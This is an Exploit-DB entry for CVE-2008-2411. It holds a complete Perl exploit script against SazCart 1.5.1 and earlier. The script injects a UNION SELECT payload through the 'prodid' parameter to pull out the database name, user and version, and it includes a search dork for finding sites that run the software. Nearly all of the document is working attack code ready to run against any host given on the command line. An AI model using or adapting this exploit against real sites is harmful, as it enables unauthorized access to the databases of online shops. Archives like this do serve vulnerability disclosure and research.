SazCart <= 1.5.1 prodid Remote SQL Injection Exploit

2008-05-09T00:00:00
ID EDB-ID:5576
Type exploitdb
Reporter JosS
Modified 2008-05-09T00:00:00

Description

SazCart <= 1.5.1 (prodid) Remote SQL Injection Exploit. CVE-2008-2411. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl

# SazCart &lt;= v1.5.1 (details&prodid) Remote SQL Injection Exploit
# HomePage: http://www.sazcart.com
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever :D

# Dork: "Powered by SazCart"


print "\t\t########################################################\n\n";
print "\t\t#   SazCart &lt;= v1.5.1 - Remote SQL Injection Exploit   #\n\n";
print "\t\t#                       by JosS                        #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] SazCart &lt;= v1.5.1 - Remote SQL Injection Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host]\n";
    print "[x] example: http://localhost/path/\n\n";
    exit(1);
 }
 
    print "\n[+] Exploiting...\n";
    my $cnx = LWP::UserAgent-&gt;new() or die;
    my $go=$cnx-&gt;get($victim."?details&prodid=1'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3,4/*");
    if ($go-&gt;content =~ m/Price&lt;\/b&gt;\:(.*?)\&lt;br/ms)
 {
        print "[+] $1\n\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2008-05-09]